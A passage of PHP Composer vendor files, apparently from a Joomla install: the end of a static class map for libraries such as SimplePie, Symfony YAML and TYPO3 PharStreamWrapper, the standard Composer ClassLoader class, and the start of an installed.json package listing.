'/google/recaptcha/src/ReCaptcha/RequestMethod/Post.php',
        'ReCaptcha\\RequestMethod\\Socket' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.php',
        'ReCaptcha\\RequestMethod\\SocketPost' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.php',
        'ReCaptcha\\RequestParameters' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestParameters.php',
        'ReCaptcha\\Response' => __DIR__ . '/..' .
'/google/recaptcha/src/ReCaptcha/Response.php',
        'SMTP' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.smtp.php',
        'SimplePie' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie.php',
        'SimplePie_Author' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Author.php',
        'SimplePie_Cache' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Cache.php',
        'SimplePie_Cache_Base' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Cache/Base.php',
        'SimplePie_Cache_DB' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Cache/DB.php',
        'SimplePie_Cache_File' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Cache/File.php',
        'SimplePie_Cache_Memcache' => __DIR__ .
'/..' .
'/simplepie/simplepie/library/SimplePie/Cache/Memcache.php',
        'SimplePie_Cache_MySQL' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Cache/MySQL.php',
        'SimplePie_Caption' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Caption.php',
        'SimplePie_Category' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Category.php',
        'SimplePie_Content_Type_Sniffer' => __DIR__ .
'/..' .
'/simplepie/simplepie/library/SimplePie/Content/Type/Sniffer.php',
        'SimplePie_Copyright' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Copyright.php',
        'SimplePie_Core' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Core.php',
        'SimplePie_Credit' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Credit.php',
        'SimplePie_Decode_HTML_Entities' => __DIR__ .
'/..' .
'/simplepie/simplepie/library/SimplePie/Decode/HTML/Entities.php',
        'SimplePie_Enclosure' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Enclosure.php',
        'SimplePie_Exception' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Exception.php',
        'SimplePie_File' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/File.php',
        'SimplePie_HTTP_Parser' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/HTTP/Parser.php',
        'SimplePie_IRI' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/IRI.php',
        'SimplePie_Item' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Item.php',
        'SimplePie_Locator' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Locator.php',
        'SimplePie_Misc' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Misc.php',
        'SimplePie_Net_IPv6' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Net/IPv6.php',
        'SimplePie_Parse_Date' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Parse/Date.php',
        'SimplePie_Parser' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Parser.php',
        'SimplePie_Rating' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Rating.php',
        'SimplePie_Registry' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Registry.php',
        'SimplePie_Restriction' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Restriction.php',
        'SimplePie_Sanitize' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Sanitize.php',
        'SimplePie_Source' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/Source.php',
        'SimplePie_XML_Declaration_Parser' => __DIR__ .
'/..' .
'/simplepie/simplepie/library/SimplePie/XML/Declaration/Parser.php',
        'SimplePie_gzdecode' => __DIR__ . '/..' .
'/simplepie/simplepie/library/SimplePie/gzdecode.php',
        'Symfony\\Component\\Yaml\\Dumper' => __DIR__ .
'/..' . '/symfony/yaml/Dumper.php',
        'Symfony\\Component\\Yaml\\Escaper' => __DIR__ .
'/..' . '/symfony/yaml/Escaper.php',
        'Symfony\\Component\\Yaml\\Exception\\DumpException'
=> __DIR__ . '/..' .
'/symfony/yaml/Exception/DumpException.php',
        'Symfony\\Component\\Yaml\\Exception\\ExceptionInterface'
=> __DIR__ . '/..' .
'/symfony/yaml/Exception/ExceptionInterface.php',
        'Symfony\\Component\\Yaml\\Exception\\ParseException'
=> __DIR__ . '/..' .
'/symfony/yaml/Exception/ParseException.php',
        'Symfony\\Component\\Yaml\\Exception\\RuntimeException'
=> __DIR__ . '/..' .
'/symfony/yaml/Exception/RuntimeException.php',
        'Symfony\\Component\\Yaml\\Inline' => __DIR__ .
'/..' . '/symfony/yaml/Inline.php',
        'Symfony\\Component\\Yaml\\Parser' => __DIR__ .
'/..' . '/symfony/yaml/Parser.php',
        'Symfony\\Component\\Yaml\\Unescaper' => __DIR__ .
'/..' . '/symfony/yaml/Unescaper.php',
        'Symfony\\Component\\Yaml\\Yaml' => __DIR__ .
'/..' . '/symfony/yaml/Yaml.php',
        'Symfony\\Polyfill\\Ctype\\Ctype' => __DIR__ .
'/..' . '/symfony/polyfill-ctype/Ctype.php',
        'Symfony\\Polyfill\\Php55\\Php55' => __DIR__ .
'/..' . '/symfony/polyfill-php55/Php55.php',
        'Symfony\\Polyfill\\Php55\\Php55ArrayColumn' =>
__DIR__ . '/..' .
'/symfony/polyfill-php55/Php55ArrayColumn.php',
        'Symfony\\Polyfill\\Php56\\Php56' => __DIR__ .
'/..' . '/symfony/polyfill-php56/Php56.php',
        'Symfony\\Polyfill\\Php71\\Php71' => __DIR__ .
'/..' . '/symfony/polyfill-php71/Php71.php',
        'Symfony\\Polyfill\\Php73\\Php73' => __DIR__ .
'/..' . '/symfony/polyfill-php73/Php73.php',
        'Symfony\\Polyfill\\Util\\Binary' => __DIR__ .
'/..' . '/symfony/polyfill-util/Binary.php',
        'Symfony\\Polyfill\\Util\\BinaryNoFuncOverload' =>
__DIR__ . '/..' .
'/symfony/polyfill-util/BinaryNoFuncOverload.php',
        'Symfony\\Polyfill\\Util\\BinaryOnFuncOverload' =>
__DIR__ . '/..' .
'/symfony/polyfill-util/BinaryOnFuncOverload.php',
        'TYPO3\\PharStreamWrapper\\Assertable' => __DIR__ .
'/..' .
'/typo3/phar-stream-wrapper/src/Assertable.php',
        'TYPO3\\PharStreamWrapper\\Behavior' => __DIR__ .
'/..' . '/typo3/phar-stream-wrapper/src/Behavior.php',
        'TYPO3\\PharStreamWrapper\\Collectable' => __DIR__ .
'/..' .
'/typo3/phar-stream-wrapper/src/Collectable.php',
        'TYPO3\\PharStreamWrapper\\Exception' => __DIR__ .
'/..' . '/typo3/phar-stream-wrapper/src/Exception.php',
        'TYPO3\\PharStreamWrapper\\Helper' => __DIR__ .
'/..' . '/typo3/phar-stream-wrapper/src/Helper.php',
       
'TYPO3\\PharStreamWrapper\\Interceptor\\ConjunctionInterceptor'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Interceptor/ConjunctionInterceptor.php',
       
'TYPO3\\PharStreamWrapper\\Interceptor\\PharExtensionInterceptor'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Interceptor/PharExtensionInterceptor.php',
       
'TYPO3\\PharStreamWrapper\\Interceptor\\PharMetaDataInterceptor'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Interceptor/PharMetaDataInterceptor.php',
        'TYPO3\\PharStreamWrapper\\Manager' => __DIR__ .
'/..' . '/typo3/phar-stream-wrapper/src/Manager.php',
        'TYPO3\\PharStreamWrapper\\PharStreamWrapper' =>
__DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/PharStreamWrapper.php',
        'TYPO3\\PharStreamWrapper\\Phar\\Container' => __DIR__
. '/..' .
'/typo3/phar-stream-wrapper/src/Phar/Container.php',
       
'TYPO3\\PharStreamWrapper\\Phar\\DeserializationException' =>
__DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Phar/DeserializationException.php',
        'TYPO3\\PharStreamWrapper\\Phar\\Manifest' => __DIR__
. '/..' .
'/typo3/phar-stream-wrapper/src/Phar/Manifest.php',
        'TYPO3\\PharStreamWrapper\\Phar\\Reader' => __DIR__ .
'/..' .
'/typo3/phar-stream-wrapper/src/Phar/Reader.php',
        'TYPO3\\PharStreamWrapper\\Phar\\ReaderException' =>
__DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Phar/ReaderException.php',
        'TYPO3\\PharStreamWrapper\\Phar\\Stub' => __DIR__ .
'/..' . '/typo3/phar-stream-wrapper/src/Phar/Stub.php',
        'TYPO3\\PharStreamWrapper\\Resolvable' => __DIR__ .
'/..' .
'/typo3/phar-stream-wrapper/src/Resolvable.php',
        'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocation'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocation.php',
       
'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationCollection'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocationCollection.php',
       
'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationResolver'
=> __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocationResolver.php',
        'lessc' => __DIR__ . '/..' .
'/leafo/lessphp/lessc.inc.php',
        'lessc_formatter_classic' => __DIR__ . '/..'
. '/leafo/lessphp/lessc.inc.php',
        'lessc_formatter_compressed' => __DIR__ .
'/..' . '/leafo/lessphp/lessc.inc.php',
        'lessc_formatter_lessjs' => __DIR__ . '/..'
. '/leafo/lessphp/lessc.inc.php',
        'lessc_parser' => __DIR__ . '/..' .
'/leafo/lessphp/lessc.inc.php',
        'ntlm_sasl_client_class' => __DIR__ . '/..'
. '/phpmailer/phpmailer/extras/ntlm_sasl_client.php',
        'phpmailerException' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.phpmailer.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 =
ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 =
ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::$prefixDirsPsr4;
            $loader->prefixesPsr0 =
ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::$prefixesPsr0;
            $loader->classMap =
ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::$classMap;

        }, null, ClassLoader::class);
    }
}
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component',
__DIR__.'/component');
 *     $loader->add('Symfony',          
__DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for
instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    http://www.php-fig.org/psr/psr-0/
 * @see    http://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    // PSR-4
    private $prefixLengthsPsr4 = array();
    private $prefixDirsPsr4 = array();
    private $fallbackDirsPsr4 = array();

    // PSR-0
    private $prefixesPsr0 = array();
    private $fallbackDirsPsr0 = array();

    private $useIncludePath = false;
    private $classMap = array();
    private $classMapAuthoritative = false;
    private $missingClasses = array();
    private $apcuPrefix;

    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge',
array_values($this->prefixesPsr0));
        }

        return array();
    }

    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array $classMap Class to filename map
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap,
$classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string       $prefix  The prefix
     * @param array|string $paths   The PSR-0 root directories
     * @param bool         $prepend Whether to prepend the directories
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this
namespace.
     *
     * @param string       $prefix  The prefix/namespace, with trailing
'\\'
     * @param array|string $paths   The PSR-4 base directories
     * @param bool         $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string       $prefix The prefix
     * @param array|string $paths  The PSR-0 base directories
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string       $prefix The prefix/namespace, with trailing
'\\'
     * @param array|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to
check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the
extension is enabled.
     *
     * @param string|null $apcuPrefix
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch')
&& filter_var(ini_get('apc.enabled'),
FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true,
$prepend);
    }

    /**
     * Unregisters this instance as an autoloader.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return bool|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative ||
isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class,
'.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\',
DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\'))
{
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR .
substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_',
DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_',
DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
{
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR
. $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file =
stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
    include $file;
}
[
    {
        "name": "brumann/polyfill-unserialize",
        "version": "v2.0.0",
        "version_normalized": "2.0.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/dbrumann/polyfill-unserialize.git",
            "reference":
"46e5c18ee87d8a9b5765ef95468c1ac27bd107bf"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/dbrumann/polyfill-unserialize/zipball/46e5c18ee87d8a9b5765ef95468c1ac27bd107bf",
            "reference":
"46e5c18ee87d8a9b5765ef95468c1ac27bd107bf",
            "shasum": ""
        },
        "require": {
            "php": "^5.3|^7.0"
        },
        "time": "2020-07-24T10:16:53+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Brumann\\Polyfill\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Denis Brumann",
                "email": "denis.brumann@sensiolabs.de"
            }
        ],
        "description": "Backports unserialize options
introduced in PHP 7.0 to older PHP versions."
    },
    {
        "name": "google/recaptcha",
        "version": "1.1.2",
        "version_normalized": "1.1.2.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/google/recaptcha.git",
            "reference":
"2b7e00566afca82a38a1d3adb8e42c118006296e"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/google/recaptcha/zipball/2b7e00566afca82a38a1d3adb8e42c118006296e",
            "reference":
"2b7e00566afca82a38a1d3adb8e42c118006296e",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.2"
        },
        "require-dev": {
            "phpunit/phpunit": "4.5.*"
        },
        "time": "2015-09-02T17:23:59+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "ReCaptcha\\": "src/ReCaptcha"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "BSD-3-Clause"
        ],
        "description": "Client library for reCAPTCHA, a free
service that protect websites from spam and abuse.",
        "homepage": "http://www.google.com/recaptcha/",
        "keywords": [
            "Abuse",
            "captcha",
            "recaptcha",
            "spam"
        ]
    },
    {
        "name": "ircmaxell/password-compat",
        "version": "v1.0.4",
        "version_normalized": "1.0.4.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/ircmaxell/password_compat.git",
            "reference":
"5c5cde8822a69545767f7c7f3058cb15ff84614c"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/ircmaxell/password_compat/zipball/5c5cde8822a69545767f7c7f3058cb15ff84614c",
            "reference":
"5c5cde8822a69545767f7c7f3058cb15ff84614c",
            "shasum": ""
        },
        "require-dev": {
            "phpunit/phpunit": "4.*"
        },
        "time": "2014-11-20T16:49:30+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "files": [
                "lib/password.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "Anthony Ferrara",
                "email": "ircmaxell@php.net",
                "homepage": "http://blog.ircmaxell.com"
            }
        ],
        "description": "A compatibility library for the
proposed simplified password hashing algorithm:
https://wiki.php.net/rfc/password_hash",
        "homepage":
"https://github.com/ircmaxell/password_compat",
        "keywords": [
            "hashing",
            "password"
        ]
    },
    {
        "name": "joomla/application",
        "version": "1.9.2",
        "version_normalized": "1.9.2.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/application.git",
            "reference":
"6c89fdde878f7ebb7d6455f664133e9497163e2e"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/application/zipball/6c89fdde878f7ebb7d6455f664133e9497163e2e",
            "reference":
"6c89fdde878f7ebb7d6455f664133e9497163e2e",
            "shasum": ""
        },
        "require": {
            "joomla/input": "~1.2",
            "joomla/registry": "^1.4.5|~2.0",
            "php": "^5.3.10|~7.0",
            "psr/log": "~1.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/event": "~1.2|~2.0",
            "joomla/session": "^1.2.1|~2.0",
            "joomla/test": "~1.1",
            "joomla/uri": "~1.1",
            "phpunit/phpunit": "^4.8.35|^5.4.3|~6.0"
        },
        "suggest": {
            "joomla/session": "To use AbstractWebApplication
with session support, install joomla/session",
            "joomla/uri": "To use AbstractWebApplication,
install joomla/uri"
        },
        "time": "2019-03-28T14:55:36+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Application\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Application Package",
        "homepage":
"https://github.com/joomla-framework/application",
        "keywords": [
            "application",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/archive",
        "version": "1.1.8",
        "version_normalized": "1.1.8.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/archive.git",
            "reference":
"3753805379a764fa96fd3db7e3b6218760d169ac"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/archive/zipball/3753805379a764fa96fd3db7e3b6218760d169ac",
            "reference":
"3753805379a764fa96fd3db7e3b6218760d169ac",
            "shasum": ""
        },
        "require": {
            "joomla/filesystem": "~1.3|~2.0",
            "php": "^5.3.10|~7.0"
        },
        "require-dev": {
            "joomla/coding-standards": "~2.0@alpha",
            "joomla/test": "~1.0",
            "phpunit/phpunit":
"^4.8.35|^5.4.3|^6.0|^7.0|^8.0"
        },
        "suggest": {
            "ext-bz2": "To extract bzip2 compressed
packages",
            "ext-zip": "To extract zip compressed
packages",
            "ext-zlib": "To extract gzip or zip compressed
packages"
        },
        "time": "2020-11-27T23:24:42+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Archive\\": "src/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0-or-later"
        ],
        "description": "Joomla Archive Package",
        "homepage":
"https://github.com/joomla-framework/archive",
        "keywords": [
            "archive",
            "framework",
            "joomla"
        ],
        "funding": [
            {
                "url":
"https://community.joomla.org/sponsorship-campaigns.html",
                "type": "custom"
            },
            {
                "url": "https://github.com/joomla",
                "type": "github"
            }
        ]
    },
    {
        "name": "joomla/compat",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/compat.git",
            "reference":
"f23565fe0184517778996226eb4b2333deb369c4"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/compat/zipball/f23565fe0184517778996226eb4b2333deb369c4",
            "reference":
"f23565fe0184517778996226eb4b2333deb369c4",
            "shasum": ""
        },
        "require": {
            "php": ">=5.3.10"
        },
        "time": "2015-02-24T00:21:06+00:00",
        "type": "joomla-package",
        "installation-source": "dist",
        "autoload": {
            "classmap": [
                "src/JsonSerializable.php",
                "src/CallbackFilterIterator.php"
            ]
        },
        "notification-url":
"https://packagist.org/downloads/",
        "license": [
            "GPL-2.0+"
        ],
        "description": "Joomla Compat Package",
        "homepage":
"https://github.com/joomla-framework/compat",
        "keywords": [
            "compat",
            "framework",
            "joomla"
        ]
    },
    {
        "name": "joomla/data",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url":
"https://github.com/joomla-framework/data.git",
            "reference":
"57ee292ba23307a6a6059e69b7b19ca5b624ab80"
        },
        "dist": {
            "type": "zip",
            "url":
"https://api.github.com/repos/joomla-framework/data/zipball/57ee292ba23307a6a6059e69b7b19ca5b624ab80",
            "reference":
"57ee292ba23307a6a6059e69b7b19ca5b624ab80",
            "shasum": ""
        },
        "require": {
            "joomla/compat": "~1.0",
            "joomla/registry": "~1.0",
            "php": ">=5.3.10|>=7.0"
        },
        "require-dev": {
            "joomla/test": "~1.0",
            "phpunit/phpunit": "~4.8|~5.0",
            "squizlabs/php_codesniffer": "1.*"
        },
        "time": "2016-04-02T22:20:43+00:00",
        "type": "joomla-package",
        "extra": {
            "branch-alias": {
                "dev-master": "1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "Joomla\\Data\\": "src/",
                "Joomla\\Data\\Tests\\": "Tests/"
            }
        },
        "notification-url":
"https://packagist.org/downloads/",
